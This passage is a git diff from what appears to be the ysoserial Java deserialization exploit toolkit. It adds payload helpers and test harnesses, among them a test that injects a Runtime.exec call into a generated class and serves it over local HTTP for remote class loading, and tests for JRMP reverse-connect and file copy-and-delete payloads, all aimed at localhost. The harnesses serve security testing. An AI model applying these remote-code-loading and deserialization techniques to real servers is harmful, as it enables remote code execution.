Object tbl = Array.newInstance(nodeC, 2); + Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); + Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); + Reflections.setFieldValue(s, "table", tbl); + return s; + } } diff --git a/src/main/java/ysoserial/payloads/util/PayloadRunner.java b/src/main/java/ysoserial/payloads/util/PayloadRunner.java index 9e074b6..d9d67e1 100644 --- a/src/main/java/ysoserial/payloads/util/PayloadRunner.java +++ b/src/main/java/ysoserial/payloads/util/PayloadRunner.java @@ -7,6 +7,7 @@ import ysoserial.Serializer; import static ysoserial.Deserializer.deserialize; import static ysoserial.Serializer.serialize; import ysoserial.payloads.ObjectPayload; +import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.secmgr.ExecCheckingSecurityManager; /* @@ -22,11 +23,13 @@ public class PayloadRunner { System.out.println("generating payload object(s) for command: '" + command + "'"); - final Object objBefore = clazz.newInstance().getObject(command); + ObjectPayload payload = clazz.newInstance(); + final Object objBefore = payload.getObject(command); System.out.println("serializing payload"); - - return Serializer.serialize(objBefore); + byte[] ser = Serializer.serialize(objBefore); + Utils.releasePayload(payload, objBefore); + return ser; }}); try { diff --git a/src/main/java/ysoserial/payloads/util/Reflections.java b/src/main/java/ysoserial/payloads/util/Reflections.java index d4dc7f4..17a35f5 100644 --- a/src/main/java/ysoserial/payloads/util/Reflections.java +++ b/src/main/java/ysoserial/payloads/util/Reflections.java @@ -2,7 +2,11 @@ package ysoserial.payloads.util; import java.lang.reflect.Constructor; import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import sun.reflect.ReflectionFactory; + +@SuppressWarnings ( "restriction" ) public class Reflections { public static Field getField(final Class clazz, final String fieldName) throws Exception { @@ -29,5 +33,21 @@ public class Reflections { ctor.setAccessible(true); return ctor; } + + + public static T createWithoutConstructor ( Class classToInstantiate ) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); + } + + @SuppressWarnings ( {"unchecked"} ) + public static T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs ) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); + objCons.setAccessible(true); + Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); + sc.setAccessible(true); + return (T)sc.newInstance(consArgs); + } } diff --git a/src/main/java/ysoserial/secmgr/ThreadLocalSecurityManager.java b/src/main/java/ysoserial/secmgr/ThreadLocalSecurityManager.java index b52d3ec..230ccab 100755 --- a/src/main/java/ysoserial/secmgr/ThreadLocalSecurityManager.java +++ b/src/main/java/ysoserial/secmgr/ThreadLocalSecurityManager.java @@ -3,8 +3,6 @@ package ysoserial.secmgr; import java.util.concurrent.Callable; public class ThreadLocalSecurityManager extends DelegateSecurityManager { - private static final ThreadLocalSecurityManager INSTANCE - = new ThreadLocalSecurityManager(); private final ThreadLocal threadDelegates = new ThreadLocal(); diff --git a/src/test/java/ysoserial/CustomDeserializer.java b/src/test/java/ysoserial/CustomDeserializer.java new file mode 100644 index 0000000..67e212f --- /dev/null +++ b/src/test/java/ysoserial/CustomDeserializer.java @@ -0,0 +1,13 @@ +package ysoserial; + + +/** + * @author mbechler + * + */ +public interface CustomDeserializer { + + + Class getCustomDeserializer (); + +} diff --git a/src/test/java/ysoserial/CustomPayloadArgs.java b/src/test/java/ysoserial/CustomPayloadArgs.java new file mode 100644 index 0000000..b78e6af --- /dev/null +++ b/src/test/java/ysoserial/CustomPayloadArgs.java @@ -0,0 +1,13 @@ +package ysoserial; + + +/** + * @author mbechler + * + */ +public interface CustomPayloadArgs { + + + String getPayloadArgs (); + +} diff --git a/src/test/java/ysoserial/CustomTest.java b/src/test/java/ysoserial/CustomTest.java new file mode 100644 index 0000000..c3fac94 --- /dev/null +++ b/src/test/java/ysoserial/CustomTest.java @@ -0,0 +1,12 @@ +package ysoserial; + +import java.util.concurrent.Callable; + +/** + * @author mbechler + * + */ +public interface CustomTest extends CustomPayloadArgs { + + void run (Callable payload) throws Exception; +} diff --git a/src/test/java/ysoserial/WrappedTest.java b/src/test/java/ysoserial/WrappedTest.java new file mode 100644 index 0000000..7abce37 --- /dev/null +++ b/src/test/java/ysoserial/WrappedTest.java @@ -0,0 +1,13 @@ +package ysoserial; + +import java.util.concurrent.Callable; + +/** + * @author mbechler + * + */ +public interface WrappedTest extends CustomPayloadArgs { + + Callable createCallable ( Callable innerCallable ); + +} diff --git a/src/test/java/ysoserial/payloads/FileUploadTest.java b/src/test/java/ysoserial/payloads/FileUploadTest.java new file mode 100644 index 0000000..9b38259 --- /dev/null +++ b/src/test/java/ysoserial/payloads/FileUploadTest.java @@ -0,0 +1,71 @@ +package ysoserial.payloads; + +import java.io.File; +import java.io.IOException; +import java.util.Arrays; +import java.util.concurrent.Callable; + +import org.junit.Assert; + +import com.google.common.io.Files; + +import ysoserial.CustomTest; + +/** + * @author mbechler + * + */ +public class FileUploadTest implements CustomTest { + + /** + * + */ + private static final byte[] FDATA = new byte[] {(byte) 0xAA, (byte) 0xBB, (byte) 0xCC, (byte) 0xDD, (byte) 0xEE, (byte) 0xFF }; + private File source; + private File repo; + + + /** + * + */ + public FileUploadTest () { + try { + source = File.createTempFile("fut", "-source"); + repo = Files.createTempDir(); + } + catch ( IOException e ) { + e.printStackTrace(); + } + } + + + public synchronized void run ( Callable payload ) throws Exception { + try { + Files.write(FDATA, this.source); + Assert.assertTrue(this.source.exists()); + payload.call(); + + File found = null; + for ( File f : this.repo.listFiles()) { + found = f; + break; + } + Assert.assertNotNull("File not copied", found); + Assert.assertFalse("Source not deleted", this.source.exists()); + Assert.assertTrue("Contents not copied", Arrays.equals(FDATA, Files.toByteArray(found))); + } finally { + if ( this.repo.exists()) { + for ( File f : this.repo.listFiles()) { + f.delete(); + } + this.repo.delete(); + } + this.source.delete(); + } + } + + public String getPayloadArgs () { + return "copyAndDelete:" + this.source.getAbsolutePath() + ":" + this.repo.getAbsolutePath(); + } + +} diff --git a/src/test/java/ysoserial/payloads/JRMPReverseConnectSMTest.java b/src/test/java/ysoserial/payloads/JRMPReverseConnectSMTest.java new file mode 100644 index 0000000..fb60bbc --- /dev/null +++ b/src/test/java/ysoserial/payloads/JRMPReverseConnectSMTest.java @@ -0,0 +1,64 @@ +package ysoserial.payloads; + + +import java.net.URL; +import java.util.concurrent.Callable; + +import ysoserial.WrappedTest; +import ysoserial.exploit.JRMPListener; + + +/** + * @author mbechler + * + */ +public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements WrappedTest { + + private int jrmpPort; + + + public JRMPReverseConnectSMTest (String command) { + super(command); + // some payloads cannot specify the port + jrmpPort = 1099; + } + + + + + + /** + * {@inheritDoc} + * + * @see ysoserial.payloads.RemoteClassLoadingTest#createCallable(java.util.concurrent.Callable) + */ + @Override + public Callable createCallable ( final Callable innerCallable ) { + return super.createCallable(new Callable() { + public Object call () throws Exception { + JRMPListener l = new JRMPListener(jrmpPort, getExploitClassName(), new URL("http", "localhost", getHTTPPort(), "/")); + Thread t = new Thread(l, "JRMP listener"); + try { + t.start(); + Object res = innerCallable.call(); + l.waitFor(1000); + return res; + } + finally { + l.close(); + t.interrupt(); + t.join(); + } + } + }); + } + + @Override + public String getPayloadArgs () { + return "localhost:" + jrmpPort; + } + + + + +} diff --git a/src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java b/src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java new file mode 100644 index 0000000..580d5f0 --- /dev/null +++ b/src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java @@ -0,0 +1,57 @@ +package ysoserial.payloads; + + +import java.util.concurrent.Callable; + +import javax.management.BadAttributeValueExpException; + +import org.junit.Assert; + +import ysoserial.CustomTest; +import ysoserial.exploit.JRMPListener; + + +/** + * @author mbechler + * + */ +public class JRMPReverseConnectTest implements CustomTest { + + private int port; + + + /** + * + */ + public JRMPReverseConnectTest () { + // some payloads cannot specify the port + port = 1099; + } + + + public void run ( Callable payload ) throws Exception { + JRMPListener l = new JRMPListener(port, new BadAttributeValueExpException("foo")); + Thread t = new Thread(l, "JRMP listener"); + try { + t.start(); + try { + payload.call(); + } + catch ( Exception e ) { + // ignore + } + Assert.assertTrue("Did not have connection", l.waitFor(1000)); + } + finally { + l.close(); + t.interrupt(); + t.join(); + } + } + + + public String getPayloadArgs () { + return "localhost:" + port; + } + +} diff --git a/src/test/java/ysoserial/payloads/MyfacesTest.java b/src/test/java/ysoserial/payloads/MyfacesTest.java new file mode 100644 index 0000000..817e549 --- /dev/null +++ b/src/test/java/ysoserial/payloads/MyfacesTest.java @@ -0,0 +1,180 @@ +package ysoserial.payloads; + + +import java.beans.FeatureDescriptor; +import java.net.MalformedURLException; +import java.net.URL; +import java.util.HashMap; +import java.util.Iterator; +import java.util.Map; + +import javax.el.BeanELResolver; +import javax.el.ELContext; +import javax.el.ELResolver; +import javax.el.MapELResolver; +import javax.faces.context.FacesContext; +import javax.servlet.ServletContext; +import javax.servlet.ServletRequest; + +import org.apache.myfaces.el.CompositeELResolver; +import org.apache.myfaces.el.unified.FacesELContext; +import org.mockito.Matchers; +import org.mockito.Mockito; +import org.mockito.invocation.InvocationOnMock; +import org.mockito.stubbing.Answer; + +import ysoserial.CustomDeserializer; +import ysoserial.Deserializer; + + +/** + * @author mbechler + * + */ +public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeserializer { + + + public MyfacesTest ( String command ) { + super(command); + } + + + + public Class getCustomDeserializer () { + return MyfacesDeserializer.class; + } + + /** + * need to use a custom deserializer so that the faces context gets set in the isolated class + * + * @author mbechler + * + */ + public static final class MyfacesDeserializer extends Deserializer { + + public static Class[] getExtraDependencies () { + return new Class[] { + MockRequestContext.class, MockELResolver.class + }; + } + + private static class MockRequestContext implements Answer { + + private Map attributes = new HashMap(); + + + public Object answer ( InvocationOnMock invocation ) throws Throwable { + + if ( "setAttribute".equals(invocation.getMethod().getName()) ) { + this.attributes.put(invocation.getArgumentAt(0, String.class), invocation.getArgumentAt(1, Object.class)); + return null; + } + else if ( "getAttribute".equals(invocation.getMethod().getName()) ) { + return this.attributes.get(invocation.getArgumentAt(0, String.class)); + } + return null; + } + + } + + + private static class MockELResolver extends ELResolver { + + private ServletRequest request; + + + public MockELResolver (ServletRequest req) { + this.request = req; + } + + + @Override + public Object getValue ( ELContext context, Object base, Object property ) { + if ( base == null && "request".equals(property)) { + context.setPropertyResolved(true); + return this.request; + } + + return null; + } + + + @Override + public Class getType ( ELContext context, Object base, Object property ) { + if ( base == null && "request".equals(property)) { + context.setPropertyResolved(true); + return ServletRequest.class; + } + return null; + } + + + @Override + public void setValue ( ELContext context, Object base, Object property, Object value ) { + + } + + + @Override + public boolean isReadOnly ( ELContext context, Object base, Object property ) { + return true; + } + + + @Override + public Iterator getFeatureDescriptors ( ELContext context, Object base ) { + return null; + } + + + @Override + public Class getCommonPropertyType ( ELContext context, Object base ) { + return null; + } + + } + + public MyfacesDeserializer ( byte[] bytes ) { + super(bytes); + } + + + @Override + public Object call () throws Exception { + java.lang.reflect.Method setFC = FacesContext.class.getDeclaredMethod("setCurrentInstance", FacesContext.class); + setFC.setAccessible(true); + ClassLoader oldTCCL = Thread.currentThread().getContextClassLoader(); + Thread.currentThread().setContextClassLoader(this.getClass().getClassLoader()); + FacesContext ctx = createMockFacesContext(); + try { + setFC.invoke(null, ctx); + return super.call(); + } + finally { + setFC.invoke(null, (FacesContext) null); + Thread.currentThread().setContextClassLoader(oldTCCL); + } + } + + + private static FacesContext createMockFacesContext () throws MalformedURLException { + FacesContext ctx = Mockito.mock(FacesContext.class); + CompositeELResolver cer = new CompositeELResolver(); + FacesELContext elc = new FacesELContext(cer, ctx); + ServletRequest requestMock = Mockito.mock(ServletRequest.class); + ServletContext contextMock = Mockito.mock(ServletContext.class); + URL url = new URL("file:///"); + Mockito.when(contextMock.getResource(Matchers.anyString())).thenReturn(url); + Mockito.when(requestMock.getServletContext()).thenReturn(contextMock); + Answer attrContext = new MockRequestContext(); + Mockito.when(requestMock.getAttribute(Matchers.anyString())).thenAnswer(attrContext); + Mockito.doAnswer(attrContext).when(requestMock).setAttribute(Matchers.anyString(), Matchers.any()); + cer.add(new MockELResolver(requestMock)); + cer.add(new BeanELResolver()); + cer.add(new MapELResolver()); + Mockito.when(ctx.getELContext()).thenReturn(elc); + return ctx; + } + } + +} diff --git a/src/test/java/ysoserial/payloads/PayloadsTest.java b/src/test/java/ysoserial/payloads/PayloadsTest.java index b5fd940..46dcbce 100644 --- a/src/test/java/ysoserial/payloads/PayloadsTest.java +++ b/src/test/java/ysoserial/payloads/PayloadsTest.java @@ -1,8 +1,11 @@ package ysoserial.payloads; + import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; import java.io.File; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; import java.util.Arrays; @@ -12,6 +15,7 @@ import java.util.concurrent.Callable; import org.hamcrest.CoreMatchers; import org.jboss.shrinkwrap.resolver.api.maven.Maven; import org.junit.Assert; +import org.junit.Assume; import org.junit.Rule; import org.junit.Test; import org.junit.contrib.java.lang.system.ProvideSecurityManager; @@ -19,16 +23,22 @@ import org.junit.runner.RunWith; import org.junit.runners.Parameterized; import org.junit.runners.Parameterized.Parameters; +import ysoserial.CustomDeserializer; +import ysoserial.CustomPayloadArgs; +import ysoserial.CustomTest; import ysoserial.Deserializer; import ysoserial.Serializer; import ysoserial.Throwables; +import ysoserial.WrappedTest; import ysoserial.payloads.TestHarnessTest.ExecMockPayload; import ysoserial.payloads.TestHarnessTest.NoopMockPayload; import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.ClassFiles; import ysoserial.secmgr.ExecCheckingSecurityManager; import ysoserial.secmgr.ExecCheckingSecurityManager.ExecException; + /* * tests each of the parameterize Payload classes by using a mock SecurityManager that throws * a special exception when an exec() attempt is made for more reliable detection; self-tests @@ -36,78 +46,191 @@ import ysoserial.secmgr.ExecCheckingSecurityManager.ExecException; TODO: figure out better way to test exception behavior than comparing messages */ -@SuppressWarnings({"restriction", "unused", "unchecked"}) -@RunWith(Parameterized.class) +@SuppressWarnings ( { + "rawtypes", "unused", "unchecked" +} ) +@RunWith ( Parameterized.class ) public class PayloadsTest { - private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName(); - @Parameters(name = "payloadClass: {0}") - public static Class>[] payloads() { - Set> payloadClasses = ObjectPayload.Utils.getPayloadClasses(); - payloadClasses.removeAll(Arrays.asList(ExecMockPayload.class, NoopMockPayload.class)); - return payloadClasses.toArray(new Class[0]); - } + private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName(); - private final Class> payloadClass; - public PayloadsTest(Class> payloadClass) { - this.payloadClass = payloadClass; - } + @Parameters ( name = "payloadClass: {0}" ) + public static Class>[] payloads () { + Set> payloadClasses = ObjectPayload.Utils.getPayloadClasses(); + payloadClasses.removeAll(Arrays.asList(ExecMockPayload.class, NoopMockPayload.class)); + return payloadClasses.toArray(new Class[0]); + } - @Test - public void testPayload() throws Exception { - testPayload(payloadClass, new Class[0]); - } + private final Class> payloadClass; - public static void testPayload(final Class> payloadClass, final Class[] addlClassesForClassLoader) throws Exception { - final String command = "hostname"; - final String[] deps = Dependencies.Utils.getDependencies(payloadClass); - ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager(); - final byte[] serialized = sm.wrap(new Callable(){ - public byte[] call() throws Exception { - ObjectPayload payload = payloadClass.newInstance(); - final Object f = payload.getObject(command); - return Serializer.serialize(f); - }}); - try { - Object deserialized = sm.wrap(new Callable(){ - public Object call() throws Exception { - return deserializeWithDependencies(serialized, deps, addlClassesForClassLoader); - } - }); + public PayloadsTest ( Class> payloadClass ) { + this.payloadClass = payloadClass; + } - Assert.fail(ASSERT_MESSAGE); // should never get here - } catch (Throwable e) { - // hopefully everything will reliably nest our ExecException - Throwable innerEx = Throwables.getInnermostCause(e); - Assert.assertEquals(ExecException.class, innerEx.getClass()); - Assert.assertEquals(command, ((ExecException) innerEx).getCmd()); - } - Assert.assertEquals(Arrays.asList(command), sm.getCmds()); - } - @SuppressWarnings({ "unchecked" }) - private static Object deserializeWithDependencies(byte[] serialized, final String[] dependencies, final Class[] classDependencies) throws Exception { - File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0]; - URL[] urls = new URL[jars.length]; - for (int i = 0; i < jars.length; i++) { - urls[i] = jars[i].toURI().toURL(); - } + @Test + public void testPayload () throws Exception { + testPayload(payloadClass, new Class[0]); + } - URLClassLoader isolatedClassLoader = new URLClassLoader(urls, null) {{ - for (Class clazz : classDependencies) { - byte[] classAsBytes = ClassFiles.classAsBytes(clazz); - defineClass(clazz.getName(), classAsBytes, 0, classAsBytes.length); - } - byte[] deserializerClassBytes = ClassFiles.classAsBytes(ysoserial.Deserializer.class); - defineClass(ysoserial.Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length); - }}; + public static void testPayload ( final Class> payloadClass, final Class[] addlClassesForClassLoader ) + throws Exception { + String command = "hostname"; + String[] deps = buildDeps(payloadClass); - Class deserializerClass = isolatedClassLoader.loadClass(ysoserial.Deserializer.class.getName()); - Callable deserializer = (Callable) deserializerClass.getConstructors()[0].newInstance(serialized); - final Object obj = deserializer.call(); - return obj; - } + PayloadTest t = payloadClass.getAnnotation(PayloadTest.class); + + if ( t != null ) { + if ( !t.skip().isEmpty() ) { + Assume.assumeTrue(t.skip(), false); + } + + if ( !t.precondition().isEmpty() ) { + Assume.assumeTrue("Precondition", checkPrecondition(payloadClass, t.precondition())); + } + } + + String payloadCommand = command; + Class customDeserializer = null; + Object wrapper = null; + if ( t != null && !t.harness().isEmpty() ) { + Class wrapperClass = Class.forName(t.harness()); + try { + wrapper = wrapperClass.getConstructor(String.class).newInstance(command); + } catch ( NoSuchMethodException e ) { + wrapper = wrapperClass.newInstance(); + } + + if ( wrapper instanceof CustomPayloadArgs ) { + payloadCommand = ( (CustomPayloadArgs) wrapper ).getPayloadArgs(); + } + + if ( wrapper instanceof CustomDeserializer ) { + customDeserializer = ((CustomDeserializer)wrapper).getCustomDeserializer(); + } + } + + ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager(); + final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, payloadCommand)); + Callable callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized, customDeserializer); + if ( wrapper instanceof WrappedTest ) { + callable = ( (WrappedTest) wrapper ).createCallable(callable); + } + + if ( wrapper instanceof CustomTest ) { + ( (CustomTest) wrapper ).run(callable); + return; + } + try { + + Object deserialized = sm.wrap(callable); + Assert.fail(ASSERT_MESSAGE); // should never get here + } + catch ( Throwable e ) { + // hopefully everything will reliably nest our ExecException + Throwable innerEx = Throwables.getInnermostCause(e); + if ( ! ( innerEx instanceof ExecException ) ) { + innerEx.printStackTrace(); + } + Assert.assertEquals(ExecException.class, innerEx.getClass()); + Assert.assertEquals(command, ( (ExecException) innerEx ).getCmd()); + } + + Assert.assertEquals(Arrays.asList(command), sm.getCmds()); + } + + + + private static Callable makeSerializeCallable ( final Class> payloadClass, final String command ) { + return new Callable() { + + public byte[] call () throws Exception { + ObjectPayload payload = payloadClass.newInstance(); + final Object f = payload.getObject(command); + byte[] serialized = Serializer.serialize(f); + ObjectPayload.Utils.releasePayload(payload, f); + return serialized; + } + }; + } + + + private static Callable makeDeserializeCallable ( PayloadTest t, final Class[] addlClassesForClassLoader, final String[] deps, + final byte[] serialized, final Class customDeserializer ) { + return new Callable() { + + public Object call () throws Exception { + return deserializeWithDependencies(serialized, deps, addlClassesForClassLoader, customDeserializer); + } + }; + } + + + private static boolean checkPrecondition ( Class> pc, String precondition ) + throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { + Method precondMethod = pc.getMethod(precondition); + return (Boolean) precondMethod.invoke(null); + } + + + private static String[] buildDeps ( final Class> payloadClass ) throws Exception { + String[] baseDeps; + if ( DynamicDependencies.class.isAssignableFrom(payloadClass) ) { + Method method = payloadClass.getMethod("getDependencies"); + baseDeps = (String[]) method.invoke(null); + } + else { + baseDeps = Dependencies.Utils.getDependencies(payloadClass); + } + if ( System.getProperty("properXalan") != null ) { + baseDeps = Arrays.copyOf(baseDeps, baseDeps.length + 1); + baseDeps[ baseDeps.length - 1 ] = "xalan:xalan:2.7.2"; + } + return baseDeps; + } + + + static Object deserializeWithDependencies ( byte[] serialized, final String[] dependencies, final Class[] classDependencies, final Class customDeserializer ) + throws Exception { + File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0]; + URL[] urls = new URL[jars.length]; + for ( int i = 0; i < jars.length; i++ ) { + urls[ i ] = jars[ i ].toURI().toURL(); + } + + URLClassLoader isolatedClassLoader = new URLClassLoader(urls, null) { + + { + for ( Class clazz : classDependencies ) { + byte[] classAsBytes = ClassFiles.classAsBytes(clazz); + defineClass(clazz.getName(), classAsBytes, 0, classAsBytes.length); + } + byte[] deserializerClassBytes = ClassFiles.classAsBytes(Deserializer.class); + defineClass(Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length); + + if ( customDeserializer != null ) { + + try { + Method method = customDeserializer.getMethod("getExtraDependencies"); + for ( Class extra : (Class[])method.invoke(null)) { + deserializerClassBytes = ClassFiles.classAsBytes(extra); + defineClass(extra.getName(), deserializerClassBytes, 0, deserializerClassBytes.length); + } + } catch ( NoSuchMethodException e ) { } + + deserializerClassBytes = ClassFiles.classAsBytes(customDeserializer); + defineClass(customDeserializer.getName(), deserializerClassBytes, 0, deserializerClassBytes.length); + } + + } + }; + + Class deserializerClass = isolatedClassLoader.loadClass(customDeserializer != null ? customDeserializer.getName() : Deserializer.class.getName()); + Callable deserializer = (Callable) deserializerClass.getConstructors()[ 0 ].newInstance(serialized); + final Object obj = deserializer.call(); + return obj; + } } diff --git a/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java b/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java new file mode 100644 index 0000000..0e83b62 --- /dev/null +++ b/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java @@ -0,0 +1,131 @@ +package ysoserial.payloads; + + +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.Serializable; +import java.util.Random; +import java.util.concurrent.Callable; + +import fi.iki.elonen.NanoHTTPD; +import fi.iki.elonen.NanoHTTPD.Response.Status; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import ysoserial.WrappedTest; + + +/** + * @author mbechler + * + */ +public class RemoteClassLoadingTest implements WrappedTest { + + int port; + private String command; + private String className; + + public RemoteClassLoadingTest ( String command ) { + this.command = command; + this.port = new Random().nextInt(65535-1024)+1024; + this.className = "Exploit-" + System.currentTimeMillis(); + } + + + public String getPayloadArgs () { + return String.format("http://localhost:%d/", this.port) + ":" + this.className; + } + + public int getHTTPPort () { + return this.port; + } + + public Callable createCallable ( Callable innerCallable ) { + return new RemoteClassLoadingTestCallable(this.port, makePayloadClass(), innerCallable); + } + + public String getExploitClassName () { + return this.className; + } + + protected byte[] makePayloadClass () { + try { + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(Exploit.class)); + final CtClass clazz = pool.get(Exploit.class.getName()); + clazz.setName(this.className); + clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"); + return clazz.toBytecode(); + } + catch ( Exception e ) { + e.printStackTrace(); + return new byte[0]; + } + } + + static class RemoteClassLoadingTestCallable extends NanoHTTPD implements Callable { + + private Callable innerCallable; + private byte[] data; + private Object waitLock = new Object(); + + + public RemoteClassLoadingTestCallable ( int port, byte[] data, Callable innerCallable ) { + super(port); + this.data = data; + this.innerCallable = innerCallable; + + } + + + public void waitFor() throws InterruptedException { + synchronized ( this.waitLock ) { + this.waitLock.wait(1000); + } + } + + + public Object call () throws Exception { + try { + setup(); + Object res = this.innerCallable.call(); + waitFor(); + Thread.sleep(1000); + return res; + } + finally { + cleanup(); + } + + } + + private void setup () throws IOException { + start(NanoHTTPD.SOCKET_READ_TIMEOUT, false); + } + + + private void cleanup () { + stop(); + } + + + @Override + public Response serve ( IHTTPSession sess ) { + System.out.println("Serving " + sess.getUri()); + Response response = newFixedLengthResponse(Status.OK, "application/octet-stream", new ByteArrayInputStream(data), data.length); + synchronized ( this.waitLock ) { + this.waitLock.notify(); + } + return response; + } + + } + + + + public static class Exploit implements Serializable { + + private static final long serialVersionUID = 1L; + + } +}